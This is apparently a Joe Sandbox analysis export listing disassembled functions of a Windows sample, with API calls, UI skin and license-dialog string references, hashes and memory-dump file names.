Instruction ID: c4f9afd6cb9aec6b8133aea8b2e8d66464125aabc6f4f42d260c4d0119a6d538
Opcode Fuzzy Hash: df06e37f6b5d4c361b9408e515c20cc59364c07aade7ca59aad5c6ce60f664b4
Instruction Fuzzy Hash: 387165343C1B2126FE6073229D97B7F14666B40F85F14402ABA07BA2C1FEDCD921929E

Function 0046E4E0 Relevance: 55.8, APIs: 6, Strings: 31, Instructions: 279COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(005BDCE4,?,?,?,00408593), ref: 0046E4F0
LeaveCriticalSection.KERNEL32(005BDCE4,?,?,00408593), ref: 0046E508
EnterCriticalSection.KERNEL32(005BDCE4,00000000,Edit,?,STANDARD,?,?,00408593), ref: 0046E535
LeaveCriticalSection.KERNEL32(005BDCE4,?,?,00408593), ref: 0046E547

Part of subcall function 004C24A0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

EnterCriticalSection.KERNEL32(005BDCE4,00000000,Edit,?,STANDARD,?,?,00408593), ref: 0046E574
LeaveCriticalSection.KERNEL32(005BDCE4,?,?,00408593), ref: 0046E586

Part of subcall function 00424910: EnterCriticalSection.KERNEL32(005BDCE4,?,?,?,004A01A9,Dialog\Button,BASE_DIALOG|CLOSE,0000000C,INACTIVATE_TITLE_TEXT,0000000B,INACTIVATE_TITLE_END,0000000A,INACTIVATE_TITLE_BEGIN,00000009,ACTIVATE_TITLE_END,00000008), ref: 0042491C
Part of subcall function 00424910: LeaveCriticalSection.KERNEL32(005BDCE4,?,004A01A9,Dialog\Button,BASE_DIALOG|CLOSE,0000000C,INACTIVATE_TITLE_TEXT,0000000B,INACTIVATE_TITLE_END,0000000A,INACTIVATE_TITLE_BEGIN,00000009,ACTIVATE_TITLE_END,00000008,ACTIVATE_TITLE_BEGIN,00000007), ref: 0042492F

Strings

Edit\State, xrefs: 0046E617, 0046E636, 0046E64F, 0046E6D6, 0046E6EF, 0046E708, 0046E78F, 0046E7A8, 0046E7C1, 0046E848, 0046E861, 0046E876
STANDARD, xrefs: 0046E516, 0046E555, 0046E594
NORMAL_FOCUS_BACKGROUND, xrefs: 0046E75E
DISABLED_BACKGROUND, xrefs: 0046E8BC
STANDARD|NORMAL_FOCUS, xrefs: 0046E6D1, 0046E6EA, 0046E703
NORMAL_FOCUS_BORDER_LOW, xrefs: 0046E71C
MARK, xrefs: 0046E5E0
FILLET, xrefs: 0046E5CA
HIT_BACKGROUND, xrefs: 0046E817
STANDARD|HIT, xrefs: 0046E78A, 0046E7A3, 0046E7BC
DISABLED_BORDER_LOW1, xrefs: 0046E898
HIT_BORDER_LOW, xrefs: 0046E7D5
NORMAL_BACKGROUND, xrefs: 0046E6A5
DISABLED_TEXT, xrefs: 0046E8CE
NORMAL_BORDER_LOW1, xrefs: 0046E679
NORMAL_FOCUS_BORDER_LOW1, xrefs: 0046E732
HIT_BORDER_HIGH, xrefs: 0046E801
HEIGHT, xrefs: 0046E5AE
CURSOR, xrefs: 0046E5FC
NORMAL_TEXT, xrefs: 0046E6BB
DISABLED_BORDER_HIGH, xrefs: 0046E8AA
HIT_BORDER_LOW1, xrefs: 0046E7EB
NORMAL_BORDER_LOW, xrefs: 0046E663
NORMAL_FOCUS_TEXT, xrefs: 0046E774
STANDARD|DISABLED, xrefs: 0046E843, 0046E85C, 0046E871
HIT_TEXT, xrefs: 0046E82D
STANDARD|NORMAL, xrefs: 0046E612, 0046E62B, 0046E64A
NORMAL_BORDER_HIGH, xrefs: 0046E68F
Edit, xrefs: 0046E51C, 0046E55B, 0046E59A
NORMAL_FOCUS_BORDER_HIGH, xrefs: 0046E748
DISABLED_BORDER_LOW, xrefs: 0046E886

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ByteCharMultiWide
String ID: CURSOR$DISABLED_BACKGROUND$DISABLED_BORDER_HIGH$DISABLED_BORDER_LOW$DISABLED_BORDER_LOW1$DISABLED_TEXT$Edit$Edit\State$FILLET$HEIGHT$HIT_BACKGROUND$HIT_BORDER_HIGH$HIT_BORDER_LOW$HIT_BORDER_LOW1$HIT_TEXT$MARK$NORMAL_BACKGROUND$NORMAL_BORDER_HIGH$NORMAL_BORDER_LOW$NORMAL_BORDER_LOW1$NORMAL_FOCUS_BACKGROUND$NORMAL_FOCUS_BORDER_HIGH$NORMAL_FOCUS_BORDER_LOW$NORMAL_FOCUS_BORDER_LOW1$NORMAL_FOCUS_TEXT$NORMAL_TEXT$STANDARD$STANDARD|DISABLED$STANDARD|HIT$STANDARD|NORMAL$STANDARD|NORMAL_FOCUS
API String ID: 904232820-1885711924
Opcode ID: 544724d2402e0c1b3abb79e0585ea74f6b2f61e244ec6e1b70a05d979e077fb9
Instruction ID: db71465a6864359a492602fe9e5c16e9fc8931a9859a05d1f20c1c4b78a28152
Opcode Fuzzy Hash: 544724d2402e0c1b3abb79e0585ea74f6b2f61e244ec6e1b70a05d979e077fb9
Instruction Fuzzy Hash: 5D81DC3838071122EA187637AD13F6B59956B44F44F04406EFA0AA72C2FFDDD941A6EE

Function 004166A0 Relevance: 51.2, APIs: 6, Strings: 28, Instructions: 220COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(005BDCE4), ref: 004166B0
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 004166C8
EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,SPLASH), ref: 004166F5
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 00416707

Part of subcall function 004C24A0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,SPLASH), ref: 00416734
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 00416746

Strings

BOTTOM_GLOSS_BEGIN, xrefs: 00416906
TITLE_TEXT, xrefs: 00416946
CREATE_BUTTON_Y, xrefs: 0041686C
BUTTON_ICON_OPEN, xrefs: 0041697C
MOUNT_BUTTON_Y, xrefs: 00416898
BORDER, xrefs: 0041676E
FILLET, xrefs: 0041678A
TITLE_BACKGROUND, xrefs: 0041692E
BOTTOM_GLOSS_HEIGHT, xrefs: 0041682A
SPLASH, xrefs: 004166D6, 00416715, 00416754
CHECKBOX_X, xrefs: 004168AE
BORDER_BACKGROUND, xrefs: 004167B6
BOTTOM_BACKGROUND_BEGIN, xrefs: 004167FE
BOTTOM_BACKGROUND_END, xrefs: 00416814
CHECKBOX_Y, xrefs: 004168C4
BOTTOM_GLOSS_END, xrefs: 0041691C
BUTTON_ICON_MOUNT, xrefs: 0041698E
BUTTON_ICON_CREATE_DISABLE, xrefs: 0041696A
BUTTON_ICON_CREATE, xrefs: 00416958
BUTTON_X, xrefs: 00416856
Dialog, xrefs: 004166DC, 0041671B, 0041675A
BACKGROUND_END, xrefs: 004167E8
TITLE_TEXT_X, xrefs: 004168DA
BUTTON_MAX_WIDTH, xrefs: 00416840
FILLET2, xrefs: 004167A0
TITLE_TEXT_Y, xrefs: 004168F0
BACKGROUND_BEGIN, xrefs: 004167D2
OPEN_BUTTON_Y, xrefs: 00416882

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ByteCharMultiWide
String ID: BACKGROUND_BEGIN$BACKGROUND_END$BORDER$BORDER_BACKGROUND$BOTTOM_BACKGROUND_BEGIN$BOTTOM_BACKGROUND_END$BOTTOM_GLOSS_BEGIN$BOTTOM_GLOSS_END$BOTTOM_GLOSS_HEIGHT$BUTTON_ICON_CREATE$BUTTON_ICON_CREATE_DISABLE$BUTTON_ICON_MOUNT$BUTTON_ICON_OPEN$BUTTON_MAX_WIDTH$BUTTON_X$CHECKBOX_X$CHECKBOX_Y$CREATE_BUTTON_Y$Dialog$FILLET$FILLET2$MOUNT_BUTTON_Y$OPEN_BUTTON_Y$SPLASH$TITLE_BACKGROUND$TITLE_TEXT$TITLE_TEXT_X$TITLE_TEXT_Y
API String ID: 904232820-1141765326
Opcode ID: 35522f0b04ca4be707e10ffd28e030f0d56883e665f9f3f9c3e985f07e1a6f6e
Instruction ID: 2fc7c05858f9a66c6cfd96f8bf2dbc2561cf7bfbee2527b4f19f709cef2b5722
Opcode Fuzzy Hash: 35522f0b04ca4be707e10ffd28e030f0d56883e665f9f3f9c3e985f07e1a6f6e
Instruction Fuzzy Hash: 2C51F07C3A13016BFE1466724D53BAA19857B44F45F05002EBE05AF3C2FFA9E94182AE

Function 0042A1E0 Relevance: 51.2, APIs: 34, Instructions: 168COMMON

Download Yara Rule

APIs

GdipDeleteFont.GDIPLUS(?,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A204
GdipFree.GDIPLUS(00000000,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A209
GdipDeleteFont.GDIPLUS(?,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A224
GdipFree.GDIPLUS(00000000,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A229
GdipDeleteFont.GDIPLUS(?,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A244
GdipFree.GDIPLUS(00000000,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A249
GdipDeleteFont.GDIPLUS(?,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A264
GdipFree.GDIPLUS(00000000,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A269
GdipDeleteFont.GDIPLUS(?,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A284
GdipFree.GDIPLUS(00000000,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A289
GdipDeleteFont.GDIPLUS(?,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A2A4
GdipFree.GDIPLUS(00000000,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A2A9
GdipDeleteFont.GDIPLUS(?,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A2C4
GdipFree.GDIPLUS(00000000,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A2C9
GdipDeleteFont.GDIPLUS(?,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A2E4
GdipFree.GDIPLUS(00000000,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A2E9
GdipDeleteFont.GDIPLUS(?,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A304
GdipFree.GDIPLUS(00000000,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A309
GdipDeleteFont.GDIPLUS(?,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A324
GdipFree.GDIPLUS(00000000,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A329
GdipDeleteFont.GDIPLUS(?,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A344
GdipFree.GDIPLUS(00000000,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A349
GdipDeleteFont.GDIPLUS(?,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A364
GdipFree.GDIPLUS(00000000,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A369
GdipDeleteFont.GDIPLUS(?,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A384
GdipFree.GDIPLUS(00000000,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A389
GdipDeleteFont.GDIPLUS(?,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A3A4
GdipFree.GDIPLUS(00000000,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A3A9
GdipDeleteFont.GDIPLUS(?,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A3C4
GdipFree.GDIPLUS(00000000,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A3C9
GdipDeleteFont.GDIPLUS(?,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A3E4
GdipFree.GDIPLUS(00000000,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A3E9
GdipDeleteFont.GDIPLUS(?,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A404
GdipFree.GDIPLUS(00000000,?,?,?,?,?,00428F2B,B681F143,?,?,?,0053D5CE,000000FF,?,00428ECB), ref: 0042A409

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$DeleteFontFree
String ID:
API String ID: 812453785-0
Opcode ID: 85f1a0658d7a6c1520944a73693c8b73f796a5a2d80e79b62369b9ceba35918b
Instruction ID: a600931a1200e0b0a12dd47269ba79f86ba2d1d5da6e5a05ecaeb6b46089f4f5
Opcode Fuzzy Hash: 85f1a0658d7a6c1520944a73693c8b73f796a5a2d80e79b62369b9ceba35918b
Instruction Fuzzy Hash: 1361E470500A05EFDB22DF76CD58B8BBBF5BF45300F5044A9D85997260EB36EA14EB05

Function 004372D0 Relevance: 46.7, APIs: 6, Strings: 25, Instructions: 205COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(005BDCE4), ref: 004372E0
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 004372F8
EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,ABOUT), ref: 00437325
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 00437337

Part of subcall function 004C24A0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,ABOUT), ref: 00437364
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 00437376

Strings

PM_LINK_EMAIL_X, xrefs: 00437454
PM_LINK_WEBSITE_X, xrefs: 00437428
PM_STRING_WARNING_X, xrefs: 0043752C
PM_COPYRIGHT_Y, xrefs: 00437412
PM_BUTTON_ACTIVATE_Y, xrefs: 0043751A
PM_STRING_LICENSE_TYPE_X, xrefs: 004374AC
PM_STRING_WARNING_HEIGHT, xrefs: 00437562
PM_VERSION_Y, xrefs: 004373FC
PM_BUTTON_BUY_NOW_Y, xrefs: 00437504
PM_LINK_WEBSITE_Y, xrefs: 0043743E
PM_LINE_1_Y, xrefs: 00437574
PM_STRING_LICENSE_NAME_Y, xrefs: 00437496
PM_LINE_2_Y, xrefs: 00437586
PM_ICON_X, xrefs: 004373B4
PM_STRING_LICENSE_TYPE_Y, xrefs: 004374C2
PM_STRING_EXPIRATION_DATE_Y, xrefs: 004374EE
PM_LINK_EMAIL_Y, xrefs: 0043746A
PM_STRING_WARNING_Y, xrefs: 0043753E
PM_STRING_WARNING_WIDTH, xrefs: 00437550
Dialog, xrefs: 0043730C, 0043734B, 0043738A
ABOUT, xrefs: 00437306, 00437345, 00437384
PM_STRING_LICENSE_NAME_X, xrefs: 00437480
PM_STRING_EXPIRATION_DATE_X, xrefs: 004374D8
PM_TITLE_Y, xrefs: 004373E6
PM_ICON_Y, xrefs: 004373D0

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ByteCharMultiWide
String ID: ABOUT$Dialog$PM_BUTTON_ACTIVATE_Y$PM_BUTTON_BUY_NOW_Y$PM_COPYRIGHT_Y$PM_ICON_X$PM_ICON_Y$PM_LINE_1_Y$PM_LINE_2_Y$PM_LINK_EMAIL_X$PM_LINK_EMAIL_Y$PM_LINK_WEBSITE_X$PM_LINK_WEBSITE_Y$PM_STRING_EXPIRATION_DATE_X$PM_STRING_EXPIRATION_DATE_Y$PM_STRING_LICENSE_NAME_X$PM_STRING_LICENSE_NAME_Y$PM_STRING_LICENSE_TYPE_X$PM_STRING_LICENSE_TYPE_Y$PM_STRING_WARNING_HEIGHT$PM_STRING_WARNING_WIDTH$PM_STRING_WARNING_X$PM_STRING_WARNING_Y$PM_TITLE_Y$PM_VERSION_Y
API String ID: 904232820-3172832796
Opcode ID: 5f5d2d318a346c737033fad44e2267e20554e4465a3fba6b5af3b0e289f42026
Instruction ID: 3ab152cbf2ec4c6e8b681e91df5937ecf2c508342c02bdc27f6dbbc580ac0622
Opcode Fuzzy Hash: 5f5d2d318a346c737033fad44e2267e20554e4465a3fba6b5af3b0e289f42026
Instruction Fuzzy Hash: EF51F7603853013AEDA97332DC53F7F19966B44F19F05003ABA46BA2C2EFDCDA01969D

Function 004A2510 Relevance: 43.7, APIs: 6, Strings: 23, Instructions: 200COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(005BDCE4,?,?,?,004A232A,00403019), ref: 004A2520
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 004A2538
EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,BASE_DIALOG), ref: 004A2565
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 004A2577

Part of subcall function 004C24A0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,00000000,BASE_DIALOG), ref: 004A25A4
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 004A25B6

Part of subcall function 004A4220: EnterCriticalSection.KERNEL32(005BDCE4,00000000,00000000,?,004A26E3,?,MESSAGE_BOX,00000013,TITLE_HEIGHT,00000012,BORDER,00000011,DOTLINE_BOTTOM,00000010,BUTTON_INTERVAL,0000000F), ref: 004A422C
Part of subcall function 004A4220: LeaveCriticalSection.KERNEL32(005BDCE4,?,004A26E3,?,MESSAGE_BOX,00000013,TITLE_HEIGHT,00000012,BORDER,00000011,DOTLINE_BOTTOM,00000010,BUTTON_INTERVAL,0000000F,BUTTON_BOTTOM,0000000E), ref: 004A423F

Strings

INFORAGIN_MIN_WIDTH, xrefs: 004A271D
INFORAGIN_MIN_HEIGHT, xrefs: 004A2733
CLIENT_RIGHT, xrefs: 004A2610
ICON_X, xrefs: 004A275F
CLIENT_TOP, xrefs: 004A25FA
WARNING, xrefs: 004A27AF
DOTLINE_BOTTOM, xrefs: 004A2694
Dialog, xrefs: 004A254C, 004A258B, 004A25CA
BORDER, xrefs: 004A26AA
BASE_DIALOG, xrefs: 004A2546, 004A2585, 004A25C4
LEFT, xrefs: 004A2749
BUTTON_BOTTOM, xrefs: 004A2668
ERROR, xrefs: 004A27C5
INFORMATION, xrefs: 004A2783
TITLE_HEIGHT, xrefs: 004A26C0
MESSAGE_BOX, xrefs: 004A26D6, 004A26EB, 004A2704
BUTTON_HEIGHT, xrefs: 004A263C
BUTTON_INTERVAL, xrefs: 004A267E
ICON_Y, xrefs: 004A2771
CONFIRMATION, xrefs: 004A2799
BUTTON_RIGHT, xrefs: 004A2652
CLIENT_BOTTOM, xrefs: 004A2626
CLIENT_LEFT, xrefs: 004A25DE

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ByteCharMultiWide
String ID: BASE_DIALOG$BORDER$BUTTON_BOTTOM$BUTTON_HEIGHT$BUTTON_INTERVAL$BUTTON_RIGHT$CLIENT_BOTTOM$CLIENT_LEFT$CLIENT_RIGHT$CLIENT_TOP$CONFIRMATION$DOTLINE_BOTTOM$Dialog$ERROR$ICON_X$ICON_Y$INFORAGIN_MIN_HEIGHT$INFORAGIN_MIN_WIDTH$INFORMATION$LEFT$MESSAGE_BOX$TITLE_HEIGHT$WARNING
API String ID: 904232820-3138118559
Opcode ID: 1640581fab820ff2bdfc72f5d70bf52333e9f35beb7892fc70a076206694ddfe
Instruction ID: 5ca2536b4346ff9ed5bfbdf02d6f25b29927509dd26d6d1bd30ed9ba06bc3021
Opcode Fuzzy Hash: 1640581fab820ff2bdfc72f5d70bf52333e9f35beb7892fc70a076206694ddfe
Instruction Fuzzy Hash: BF515434380712ABE94C73764E63F6A9D447B55B49F04012BBE05BA3C1EFD8E901936D

Function 004375B0 Relevance: 42.1, APIs: 3, Strings: 21, Instructions: 131COMMON

Download Yara Rule

APIs

TryEnterCriticalSection.KERNEL32(005BDCCC), ref: 004375B8
LeaveCriticalSection.KERNEL32(005BDCCC,Dialog,ABOUT), ref: 004375DF
LeaveCriticalSection.KERNEL32(005BDCCC,00000011,STR_WARNING,00000010,STR_NEVER_EXPIRE,0000000F,STR_EXPIRED,0000000E,STR_FULL_VERSION,0000000D,STR_EVALUATION,0000000C,STR_PERIOD,00000013,STR_TRIAL_USER,0000000A), ref: 00437768

Strings

STR_NEVER_EXPIRE, xrefs: 00437737
STR_PERIOD, xrefs: 004376DF
LABEL_LICENSE_NAME, xrefs: 00437671
LABEL_EXPIRATION_DATE, xrefs: 0043769D
LABEL_LICENSE_INFORMATION, xrefs: 004376B3
STR_TRIAL_USER, xrefs: 004376C9
BUTTON_RENEW_NOW, xrefs: 00437601
Dialog, xrefs: 004375C7
ABOUT, xrefs: 004375C2
STR_EXPIRED, xrefs: 00437721
STR_FULL_VERSION, xrefs: 0043770B
LABEL_EMAIL, xrefs: 0043765B
LABEL_VERSION, xrefs: 00437637
LABEL_WEBSITE, xrefs: 00437649
STR_WARNING, xrefs: 0043774D
STR_EVALUATION, xrefs: 004376F5
BUTTON_ACTIVATE, xrefs: 00437613
BUTTON_OK, xrefs: 00437625
LABEL_LICENSE_TYPE, xrefs: 00437687
BUTTON_BUY_NOW, xrefs: 004375E9
PZ, xrefs: 004375CC

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$Leave$Enter
